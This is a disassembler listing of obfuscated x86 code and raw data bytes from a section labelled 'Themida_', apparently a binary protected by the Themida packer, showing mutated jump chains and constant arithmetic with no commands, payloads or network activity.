; ---------------------------------------------------------------------------
a_sag		db '_靃',0
		align 2


loc_55B45E:				; CODE XREF: Themida_:00557326j
		push	ebp
		jmp	loc_55A8FA
; ---------------------------------------------------------------------------


loc_55B464:				; CODE XREF: Themida_:00551710j
		not	ecx
		xchg	ecx, edi
		jmp	loc_563342
; ---------------------------------------------------------------------------


loc_55B46D:				; CODE XREF: Themida_:00553919j
		pop	ax
		add	bl, 16h
		neg	bl
		not	bl
		jmp	loc_5626B6
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1541685Ah, 0BF57D1F7h, 67B1105h, 685FF909h, 4998h, 0E9241C89h
		dd 9A2h, 433FBCBAh, 4EE28102h, 0E928FB26h, 0FFFFEDD8h
; ---------------------------------------------------------------------------


loc_55B4A8:				; CODE XREF: Themida_:0055566Ej
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_55A1FB
; ---------------------------------------------------------------------------


loc_55B4B7:				; CODE XREF: Themida_:0055872Bj
		add	ecx, edi
		pop	edi
		sub	ecx, edx
		sub	ecx, 40B34DCFh
		pop	edx
		sub	eax, ecx
		jmp	loc_56304F
; ---------------------------------------------------------------------------


loc_55B4CA:				; CODE XREF: Themida_:00552801j
		mov	esi, [esp]
		jmp	loc_55833C
; ---------------------------------------------------------------------------


loc_55B4D2:				; CODE XREF: Themida_:005654BDj
		mov	ebp, ebx
		pop	ebx
		jmp	loc_557D44
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 12E6E9h, 53C33000h, 56DB6857h, 0E95F280Fh, 8FC5h, 8324148Bh
		dd 0C08304C4h, 24043302h, 0E9240431h, 0FFFF6D5Ah, 3CD768h
		dd 8E97E900h, 4BFFFFFh,	81000000h, 6F1A7AEDh, 5BC7E94Bh
		dd 4050000h, 0E9000000h, 0FFFF6759h, 860F9AB8h,	25CF0509h
		dd 7D056F3Ah, 4063F846h, 0E8A89105h, 58C22997h,	0C281F229h
		dd 74A12478h, 4EEA815Eh, 177537Ah, 4EBB53FAh, 8177537Ah
		dd 1776A9EAh, 57DA0130h, 0FFF5FDE9h, 5BD808FFh,	0C005E8C0h
		dd 0D7E904E8h, 5A00005Eh, 0E9242C8Bh, 1BB1h, 81240C8Bh
		dd 4C4h, 0BDC68100h, 0E9750F78h, 0FFFFA926h, 158C629h
		dd 0ED835EF5h, 242C3304h, 0E9242C31h, 76B2h
; ---------------------------------------------------------------------------


loc_55B5A4:				; CODE XREF: Themida_:00562ED3j
		mov	edi, esp
		add	edi, 4
		jmp	loc_556778
; ---------------------------------------------------------------------------


loc_55B5B1:				; CODE XREF: Themida_:0055B0A9j
		push	ecx
		mov	ecx, 0D4A11ACh
		add	ecx, 0A9D2EC40h
		jmp	loc_556271
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 54A1BF57h,	814F79C2h, 0DE1874C7h, 0E9FA0114h
		dd 0FFFF81E6h, 2C8BEE01h, 7D5E924h, 3E90000h, 81FFFF52h
		dd 4C4h, 4E7C100h, 6802EFC1h, 107Dh, 0BB241C89h, 75176869h
		dd 0FFC181E9h, 3CC68FFh, 14890000h, 535A5424h, 0FFC040E9h
		dd 5DEE21FFh, 0FF29C681h, 0F0091758h, 8324348Bh, 0AE0D04C4h
		dd 0E95C4E11h, 6D6h
; ---------------------------------------------------------------------------


loc_55B634:				; CODE XREF: Themida_:0055913Cj
		mov	edx, 44D703E8h
		jmp	loc_55A1ED
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0EE9CE9F3h, 0D2F7FFFFh, 0FFE350E9h, 5EF589FFh, 0FFC099E9h
		dd 0BF57ADFFh, 65345DF4h, 0B951DFF7h, 27C25025h, 11E8E181h
		dd 0E94124F4h, 0FFFFA205h, 148BD101h, 4C48324h,	583168h
		dd 24048900h, 444446B8h, 7A91E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B68A:				; CODE XREF: Themida_:0055D685j
		mov	[esp], ebp
		mov	ebp, 27D721D5h
		jmp	loc_552A97
; ---------------------------------------------------------------------------
		db 68h
		dd 0
		dd 8B2434FFh, 4C68241Ch, 89000064h, 0E389241Ch,	427068h
		dd 24348900h, 0F329B8BEh, 56D6F77Bh, 1786E9h, 243C8700h
		dd 0D3E9555Ch
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B6CB:				; CODE XREF: Themida_:00562F46j
		not	ebp
		add	ebp, 9F0A2E40h
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	575C25EFh
		pop	ecx
		push	edi
		mov	edi, 75BB7577h
		push	edx
		mov	edx, 5CA81B0Fh
		push	edx
		inc	dword ptr [esp]
		pop	edx
		jmp	loc_55B726
; ---------------------------------------------------------------------------
		db 29h
		dd 4C781EFh, 5D115D0Bh,	4BAE68h, 240C8900h, 731D9DB9h
		dd 28EF8139h, 0E91C542Bh, 0FFFF5649h, 0DD0520BDh, 2E2FE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B726:				; CODE XREF: Themida_:0055B6F6j
		dec	edx
		sub	edx, 26BF07DAh
		xor	edx, 4DFA3977h
		xor	edi, edx
		jmp	loc_55690B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0E9E38924h, 0FFFF6FFCh, 5B2434FFh, 0E904C483h, 1F41h
		dd 1EBE68h, 243C8900h, 458112BFh, 8BFE31C8h, 0C481243Ch
		dd 4, 815EF289h, 0B46953EFh, 0CDC78149h, 81457A61h, 0B309CEFh
		dd 81D70124h, 0B309CC7h, 0CDB95124h, 29457A61h,	1674E9CFh
		dd 0F8300000h, 241C8B66h, 220DE956h, 97680000h,	89000056h
		dd 0B1E9241Ch
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7AB:				; CODE XREF: Themida_:005628D6j
		xor	edx, 3AA947EEh
		add	ebp, edx
		jmp	loc_557545
; ---------------------------------------------------------------------------


loc_55B7B8:				; CODE XREF: Themida_:00556B87j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bl, 32h
		add	bl, ch
		sub	bl, 32h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55A4F6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 7D01E9h, 0FB015C00h,	0DB68h,	240C8900h, 0B850C188h
		dd 2B282578h, 4E8C140h,	5F35282Dh, 0DE97E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B7FE:				; CODE XREF: Themida_:005580E4j
		not	esi
		xor	esi, 76603B7Eh
		add	esi, 50C10FE5h
		add	esi, 705D4779h
		add	edx, 361F38D1h
		sub	edx, esi
		sub	edx, 361F38D1h
		pop	esi
		push	eax
		mov	eax, 29FE269Ah
		sub	edx, 63256CE3h
		sub	edx, eax
		add	edx, 63256CE3h
		pop	eax
		jmp	loc_5606E6
; ---------------------------------------------------------------------------


loc_55B83B:				; CODE XREF: Themida_:0055F0B0j
		sub	edx, eax
		jmp	loc_5628B1
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 1B6503Eh, 0FF65EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B84D:				; CODE XREF: Themida_:0055CA41j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_55A26C
; ---------------------------------------------------------------------------


loc_55B859:				; CODE XREF: Themida_:00558B3Dj
		push	ebx
		jmp	loc_55C19A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF4F8Ah, 40559h, 4870000h, 7BE95C24h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B873:				; CODE XREF: Themida_:00558656j
		shl	dl, 2
		jmp	loc_55F411
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFC2ACE9h, 0EBC581FFh, 89E70BA1h, 4789E9EFh, 89510000h
		dd 4C181E1h, 83000000h,	0C8704C1h, 24248B24h, 6F576850h
		dd 0C15808A7h, 484002E8h, 29DBD135h, 0B5C78102h, 148EC21h
		dd 939CE9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8BE:				; CODE XREF: Themida_:0055E8C7j
		mov	ecx, [esp]
		add	esp, 4
		xor	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_553D5D
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4EEh, 24348700h, 2424895Ch, 4240483h, 8124148Bh
		dd 4C4h, 6AD6E900h, 0EC83FFFFh,	241C8904h, 0D80022B3h
		dd 5868E95Bh, 0E95C0000h, 1209h
; ---------------------------------------------------------------------------


loc_55B91C:				; CODE XREF: Themida_:00554B10j
		pop	edi
		mov	ebp, 0E1E69DF3h
		xor	ebp, edi
		pop	edi
		jmp	loc_55A3B7
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 53184B6Fh, 2A1CBA52h, 0D1290EBCh, 8124148Bh,	4C4h, 3F4AE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B946:				; CODE XREF: Themida_:0055A20Ej
		xor	dword ptr [eax], 0D768B65Dh
		pop	eax
		xor	[edx+38h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CBEC
; ---------------------------------------------------------------------------
		dw 5066h
		dd 0E328BCB4h, 0FF62BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B969:				; CODE XREF: Themida_:0055D6EEj
		pop	ebx
		jmp	loc_5607D4
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0E9E82816h, 0FFFFF144h, 83240C8Bh, 0E95204C4h, 99E0h
		dd 4EC81h, 2C890000h, 2E1A6824h, 2C8B6A75h, 4C48324h, 2C8BEF89h
		dd 4C48124h, 68000000h,	7C6Ch, 0BA241489h, 0E0F0368h, 5303E2C1h
		dd 786206BBh, 0BAC3814Eh, 2926EBC4h, 0C2815BDAh, 63E52D78h
		dd 575AD701h, 8A1DE9h, 5768AC00h, 8900002Fh, 0B450240Ch
		dd 0E388537Ch, 585BDD88h, 802ACD80h, 0EDC0D8C5h, 0BEF58008h
		dd 0FEEEB652h, 40EE80CEh, 42C1E9h, 8BF80100h, 0C481243Ch
		dd 4, 0C6555805h, 2DD82924h, 24C65558h,	4CA7BB53h, 78E922EDh
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BA1F:				; CODE XREF: Themida_:00552B1Cj
		add	ebx, 1F418A17h
		mov	esi, ebx
		pop	ebx
		jmp	loc_564662
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFF6D1Bh, 0B951D001h, 0D8061F3h, 8103E1C1h
		dd 0A06E48E9h, 1BEDE911h, 68AD0000h, 7984h, 68241C89h
		dd 567800F1h, 51241C8Bh, 0C181E189h, 4,	0F8E95056h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BA6F:				; CODE XREF: Themida_:0055492Ej
		add	esp, 4
		push	ebx
		jmp	loc_560004
; ---------------------------------------------------------------------------
aIRsZ		db ',$R鰇',0
		dd 243C8900h, 0E952E789h, 0FFFF6530h, 0FF4D5DE9h, 48966FFh
		dd 6186E924h, 0E949FFFFh, 0FFFFE64Ah, 3708E581h, 3E9560Bh
		dd 52FFFFEEh, 0C281E289h, 4, 8704C283h,	0E95C2414h, 7773h
		dd 0C680CEB6h, 3E6C001h, 0E928C680h, 2B33h
; ---------------------------------------------------------------------------


loc_55BAD0:				; CODE XREF: Themida_:0055E31Bj
		pop	ebp
		jmp	loc_5542FA
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 6C0E9h, 24148B00h, 0E9E18951h, 0FFFF7ED2h, 4BBh
		dd 68472D00h, 5DE95645h, 66FFFFE1h, 66522EBFh, 8B66F801h
		dd 0C483243Ch, 4EC8102h, 89000000h, 0E0892404h,	405h, 4BA5200h
		dd 29000000h, 4875AD0h,	1C895C24h, 2521E924h, 0D6BF0000h
		dd 1DC5449h, 243C8BFDh,	4C481h,	5EE90000h, 1FFFF8Fh, 0E7AE9E8h
		dd 0C6810000h, 1, 0FFBFC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BB55:				; CODE XREF: Themida_:0055C0F9j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_55920D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aPLisxas2	db 'PX2',0
		dw 59C8h
		dd 4FEFE950h, 0F58FFFFh, 0DCE9C0B6h, 87FFFF9Ch,	0DCE9242Ch
		dd 0BE000022h, 23F81960h, 667CE681h, 0E9554C1Bh, 0FFFFD805h
; ---------------------------------------------------------------------------


loc_55BB98:				; CODE XREF: Themida_:0055C856j
		add	eax, edi
		sub	eax, 25D51391h
		push	edx
		mov	edx, 33BB2A1Ah
		sub	eax, 4AE9407Eh
		sub	eax, edx
		add	eax, 4AE9407Eh
		pop	edx
		push	dword ptr [eax]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559F30
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4AB6229Fh, 229BF581h, 0B4E94AB6h, 5FFFFA2h, 3D3146DEh
		dd 81C3315Ah, 481AF1C2h, 0F2EA8114h, 556FDD18h,	0EC65E4BDh
		dd 7A2BE905h, 2C8BFFFFh, 4C48324h, 0E952F801h, 1A9Bh, 9D1C77FFh
		dd 11665866h, 0E99C2404h, 0FFFF4BD2h
; ---------------------------------------------------------------------------


loc_55BC1C:				; CODE XREF: Themida_:00557AD2j
		add	ebp, 1ACF280Ch
		pop	esi
		jmp	loc_553A52
; ---------------------------------------------------------------------------
		dd 240C8B66h, 79E95456h, 8FFFFF79h, 248B2404h, 4BB0E924h
		dd 0A8BAFFFFh, 510E1E3Ch, 0CD89D189h, 0E9240C8Bh, 0FFFF6909h
; ---------------------------------------------------------------------------


loc_55BC50:				; CODE XREF: Themida_:0056075Cj
		push	6DB6h
		mov	[esp], esi
		mov	esi, 2E0A4374h
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, 6D9A10DBh
		xor	edx, 18CE1A7Eh
		not	edx
		add	edx, 11B20968h
		jmp	loc_55726D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0AE92414h, 5DFFFFC5h, 0FFDA7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BC89:				; CODE XREF: Themida_:0055BFEDj
		push	ecx
		push	593Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_551A68
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 53000000h,	0FFB4F0E9h, 48B66FFh, 7D685524h
		dd 54000062h, 0E924048Fh, 0FFFFDAD5h, 2569BF57h, 1FE96D8Dh
		dd 0BD000099h, 4, 335DEF01h, 42E9243Ch,	8000002Fh, 0C62830C6h
		dd 5130EE80h, 62E9C1B5h, 59000080h, 0F6FCF181h,	0CD899F9Bh
		dd 136CE959h, 0BB530000h, 0
		dd 0F4E9C329h, 8100003Fh, 0F11258EAh, 81EA2956h, 0F11258C2h
		dd 52555D56h, 0BE314DBAh, 0E95D5200h, 22D0h, 0E924248Bh
		dd 0FFFF4AB2h, 64E9F928h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD43:				; CODE XREF: Themida_:005560F1j
		push	edi
		sub	dword ptr [esp], 39DA4108h
		jmp	loc_550D79
; ---------------------------------------------------------------------------
		dd 8108E6C1h, 30353BCEh, 49F6812Eh, 533C7C60h, 10632EBBh
		dd 0A0E0E941h, 0BD55FFFFh, 0AD958C3h, 815DEF29h, 1670B0EFh
		dd 4DC78107h, 81B80E70h, 0F3024C2h, 81FA2950h, 0F3024EAh
		dd 0D3015F50h, 0FFFEE6E9h, 0F1E950FFh, 5500001Ch, 750B3CBDh
		dd 5DEB0905h, 0F287D387h, 4724E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BDAD:				; CODE XREF: Themida_:0055374Aj
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552806
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8B04C4h, 4C48124h,	50000000h, 4B8h, 8BC60100h, 0C4812404h
		dd 4, 8B243487h, 0E9562424h, 282Ah, 54243489h, 4C6815Eh
		dd 81000000h, 4C6h, 24348700h, 0E9D8315Ch, 0FFFFA542h
		dd 2434FF59h, 1302685Bh, 0EBE90000h, 8B00000Ah,	0C483240Ch
		dd 241C8B04h, 0E904C483h, 64C7h, 299A68h, 240C8900h, 17B56855h
		dd 2C8B49CCh, 4C48324h,	6850E952h, 0EABBFFFFh, 0C14A3B15h
		dd 524304EBh, 6A5026BAh, 5AD3294Ch, 7846F381h, 0C3816D6Ah
		dd 3BAD4EDCh, 1694E981h, 0D901652Ah, 1694C181h,	0B3E9652Ah
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE6B:				; CODE XREF: Themida_:005621E9j
		sub	edi, 0A08443Dh
		jmp	loc_561FF0
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 33E5E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE82:				; CODE XREF: Themida_:00557698j
		shl	ecx, 5
		jmp	loc_55FD3A
; ---------------------------------------------------------------------------
		dw 895Ah
		dd 7EE95FFEh
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BE93:				; CODE XREF: Themida_:00559F12j
		and	eax, ebp
		pop	ebp
		shr	eax, 10h
		xor	eax, ecx
		push	1ECAh
		mov	[esp], eax
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	42A1h
		mov	[esp], edi
		jmp	loc_5642FA
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFF541h, 240C8B66h, 177668h, 240C8900h, 0ACE95954h
		dd 5000012h, 409E0FC1h,	8967E9h, 53555900h, 0C381E389h
		dd 4, 4EB81h, 1C870000h, 24895C24h, 6D7BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BEFE:				; CODE XREF: Themida_:00556155j
		add	esp, 4
		inc	ebx
		neg	ebx
		push	eax
		mov	eax, 2ED93430h
		add	eax, 2B244546h
		jmp	loc_55F8CE
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 4, 0C407292Dh, 0E9D80132h, 7D56h, 405h
		dd 22716800h, 1EE90000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF37:				; CODE XREF: Themida_:0055A2BBj
		pop	eax
		xor	ebx, 7B4F1F3Bh
		push	esi
		jmp	loc_56554B
; ---------------------------------------------------------------------------
		dd 5EF3095Dh, 0FF980BE9h, 0FFC681FFh, 5966A22Ch, 2474FF56h
		dd 0C9E95E04h, 6600005Dh, 6824048Bh, 51Dh, 68241C89h, 5E58h
		dd 24048F54h, 4240481h,	0FF000000h, 1C8B2434h, 4C48324h
		dd 53E28952h, 4BBh, 8780E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF92:				; CODE XREF: Themida_:00558056j
		pop	edi
		add	eax, 4
		push	ecx
		jmp	loc_55B0AE
; ---------------------------------------------------------------------------
aXrs1		db 'XR1',0
		dd 48B6600h, 314B6824h,	14890000h, 83E28924h, 0C8904ECh
		dd 4B924h, 0CA010000h, 4EA8359h, 2474FF52h, 48F5A04h, 24248B24h
		dd 89242C89h, 28BE56E5h, 55211229h, 0FFE9DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BFE1:				; CODE XREF: Themida_:00564E88j
		push	1
		pop	edx
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55BC89
; ---------------------------------------------------------------------------
		dw 0CE01h
		dd 8B6BE9h, 241C8700h, 96CE9h, 2C316600h, 2C336624h, 2C316624h
		dd 4F686624h, 0FBFE974h, 0C8010000h, 5364E9h, 58C50100h
		dd 34FFEA01h, 0A024E924h, 0E089FFFFh, 0FFA62DE9h, 2EAC0FFh
		dd 8072EA80h, 49E995CAh
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C03F:				; CODE XREF: Themida_:00560006j
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_55A33F
; ---------------------------------------------------------------------------
		dd 6E7B68h, 24048900h, 405E089h, 0E9000000h, 6043h, 6DE28158h
		dd 0E913DA45h, 532Ch
; ---------------------------------------------------------------------------


loc_55C06C:				; CODE XREF: Themida_:0056262Bj
		push	4DE5h
		mov	[esp], esi
		push	0FFFFFFFFh
		mov	esi, [esp]
		add	esp, 4
		add	eax, 50581569h
		jmp	loc_55D745
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 7
		dd 2461EA81h, 0C2814BD8h, 5BA8F00Bh, 148BD329h,	7B62E924h
		dd 2C31FFFFh, 242C3324h, 61FE95Ch, 74FF0000h, 8F5D0424h
		dd 248B2404h, 564E6824h, 1C890000h, 4EC8324h, 57241C89h
		dd 906F8CBFh, 4E7C11Eh,	0FFEBA7E9h, 242C89FFh, 5B768h
		dd 240C8900h, 41536857h, 0CDE948EEh
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0EB:				; CODE XREF: Themida_:00550B79j
		push	edi
		mov	edi, 16B90716h
		jmp	loc_55E8CC
; ---------------------------------------------------------------------------


loc_55C0F6:				; CODE XREF: Themida_:00553CB8j
		add	esp, 4
		jmp	loc_55BB55
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 240C8B24h, 0FF82FCE9h, 87D2F7FFh, 0BD5557D6h, 42F54262h
		dd 0FF7C87E9h, 18BF57FFh, 0BE5B8A67h, 68D07196h, 85E9FE29h
		dd 5CFFFFAAh, 0FF4C29E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C131:				; CODE XREF: Themida_:00564CBBj
		and	cl, 59h
		add	cl, 0B2h
		add	bl, cl
		pop	ecx
		jmp	loc_5635AC
; ---------------------------------------------------------------------------


loc_55C13F:				; CODE XREF: Themida_:0056569Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55C833
; ---------------------------------------------------------------------------
		db 33h
		dd 895C243Ch, 0B5E9242Ch, 0BFFFFFA6h, 5FC44A3h,	245FE9h
		dd 24048B00h, 291768h, 7165E900h, 815AFFFFh, 1EEh, 0C7C68100h
		dd 5063C6A4h, 601DDAB8h, 0E759E976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C19A:				; CODE XREF: Themida_:0055B85Aj
		mov	ebx, esp
		jmp	loc_557E15
; ---------------------------------------------------------------------------
		db 31h,	0FAh, 8Bh
		dd 0C483243Ch, 8BD63104h, 0C4812414h, 4, 0E1E9F101h, 8900006Ah
		dd 24348BF3h, 4C481h, 680000h, 51000000h, 0C57BB53h, 95B91E12h
		dd 31375E50h, 4C015BD9h, 0E9590424h, 0FFFF72BCh, 582434FFh
		dd 4C481h, 34FF0000h, 89525D24h, 4C281E2h, 53000000h, 610259BBh
		dd 5DF3816Eh, 16E6102h,	14875BDAh, 25685C24h, 89000036h
		dd 4B9240Ch, 0E9000000h, 32B3h,	2C4483BEh, 5EF38911h, 815BDF01h
		dd 1F7591C6h, 81FE0132h, 1F7591EEh, 1A79E932h, 0EC810000h
		dd 4, 0E9240489h, 0FFFFD0A7h
; ---------------------------------------------------------------------------


loc_55C24C:				; CODE XREF: Themida_:00550D0Cj
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_563539
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 340F9BBFh, 61BD5519h, 1725017h, 5D08246Ch, 4247C01h
		dd 4246C81h, 72501761h,	0FF2434FFh, 0A2E92434h,	0B900002Ch
		dd 1B471CDAh, 7E64C181h, 0BB535CBCh, 73CF5240h,	36E38143h
		dd 555EB53Fh, 0FFDA5DE9h, 0E9D028FFh, 0FFFFE3D2h
; ---------------------------------------------------------------------------


loc_55C2A8:				; CODE XREF: Themida_:00550FFEj
		push	ebp
		mov	ebp, 467903A3h
		and	ebp, 58C16F82h
		sub	ebp, 0EF8B9175h
		or	edx, ebp
		pop	ebp
		and	edx, 4557179h
		push	edi
		jmp	loc_5609C7
; ---------------------------------------------------------------------------
		db 0ACh, 68h, 16h
		dd 89000069h, 79B3241Ch, 0E97CF380h, 270Ah
; ---------------------------------------------------------------------------


loc_55C2DC:				; CODE XREF: Themida_:00556370j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_562A92
; ---------------------------------------------------------------------------
		db 5Ch,	68h, 31h
		dd 89000019h, 0C168242Ch, 8B6C5756h, 0C481242Ch, 4, 5589C581h
		dd 0D32DF86Ah, 2941B657h, 0E95357E8h, 4459h, 0EE81FE01h
		dd 7FEF0A5Bh, 2434875Fh, 4EC815Ch, 89000000h, 4B9240Ch
		dd 53000000h, 2A26E9h, 240C8700h, 242C875Ch, 6624248Bh
		dd 5124048Bh, 240C8B54h, 5604C483h, 0D5E95552h,	5FFFFFDDh
		dd 83241C8Bh, 60E904C4h, 58FFFF66h, 2D9AC181h, 0E9815EA1h
		dd 73CA71D4h, 0C181C101h, 73CA71D4h, 2D9AE981h,	34FF5EA1h
		dd 847FE924h, 0CA87FFFFh, 49E9D1F7h, 81000066h,	305987C6h
		dd 0EB815D31h, 4981129h, 0C381F301h, 4981129h, 4EB815Eh
		dd 0E9000000h, 2F43h, 81E68956h, 4ECh, 24148900h, 4BAh
		dd 84D2E900h, 3487FFFFh, 0FF575C24h, 0E9042474h, 0FFFF89E0h
		dd 4A653EBAh, 5EAC107h,	0FF7EBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C3D9:				; CODE XREF: Themida_:0056351Bj
		xor	[esp], edi
		not	edi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5511B6
; ---------------------------------------------------------------------------


loc_55C3EC:				; CODE XREF: Themida_:005544FCj
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_550D92
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 0C1E0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C406:				; CODE XREF: Themida_:00553E43j
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	5470h
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_558040
; ---------------------------------------------------------------------------
		db 53h,	50h, 68h
		dd 71493E71h, 0F6054058h, 89CEE4C7h, 24048BC3h,	2904C483h
		dd 6F2E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C43E:				; CODE XREF: Themida_:00562AA2j
		sub	ebx, 7BFB1168h
		shl	ebx, 5
		xor	ebx, 67685965h
		push	edx
		jmp	loc_56003A
; ---------------------------------------------------------------------------


loc_55C453:				; CODE XREF: Themida_:0056515Bj
		push	ecx
		push	19252CDAh
		jmp	loc_561059
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0C500085h, 815BDF01h, 4ECh, 241C8900h, 2BBh,	6E9CE900h
		dd 3489FFFFh, 53E68924h, 6F42E9h, 3C895C00h, 88BE5624h
		dd 8968B154h, 81475EF7h, 0B15485EFh, 719A0568h,	992D1C1Ch
		dd 16C3850h, 509905F8h,	9A2D6C38h, 5F1C1C71h, 0E9240487h
		dd 0FFFFB39Dh
; ---------------------------------------------------------------------------


loc_55C4B8:				; CODE XREF: Themida_:005555BFj
		pop	ebx
		jmp	loc_55421E
; ---------------------------------------------------------------------------
aSa_0		db ')a!',0
		db 0
; ---------------------------------------------------------------------------


loc_55C4C5:				; CODE XREF: Themida_:0055FB40j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_558493
; ---------------------------------------------------------------------------
		db 1
		dd 0F52958C5h, 75EAED81h, 535E37E5h, 0D889EB89h, 5B2434FFh
		dd 0FF04C483h, 2C8B2434h, 4C48324h, 70A268h, 24048900h
		dd 405E089h, 56000000h,	4BEh, 1AFE0500h, 0F00131EAh, 5592E9h
		dd 8BC13100h, 0E7E92404h, 8BFFFF99h, 8951243Ch,	4C181E1h
		dd 83000000h, 0C8704C1h, 4875C24h, 24248B24h, 0C8B60F66h
		dd 4114E9h, 58C70100h, 47E9F729h, 87FFFFB6h, 0E9D387F2h
		dd 0FFFFD931h, 0FF2434FFh, 34FF2434h, 0A6A7E924h, 0C581FFFFh
		dd 4, 4ED81h, 69E90000h, 2900004Ch, 900EE9CAh, 0C4810000h
		dd 4, 333AE9h, 98C68100h, 52477A1Eh, 0FFB3C8E9h, 242C33FFh
		dd 33242C31h, 248B242Ch, 4896624h, 4248E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C5A6:				; CODE XREF: Themida_:0055E2DAj
		mov	[esp], ebx
		mov	ebx, 2F9E4032h
		not	ebx
		jmp	loc_5560DE
; ---------------------------------------------------------------------------
a1WhV		db '1WhV',0
		dd 24348900h, 3580E9h, 24048F00h, 4240483h, 8F07E9h, 0B8054000h
		dd 5420741h, 0F4567D16h, 0E958C731h, 0FFFFDB39h, 4C57B951h
		dd 0C9810293h, 6CD65152h, 4CB4E981h, 0E1815208h, 11E1280Dh
		dd 0D6CBE953h, 8952FFFFh, 4C281E2h, 83000000h, 148704EAh
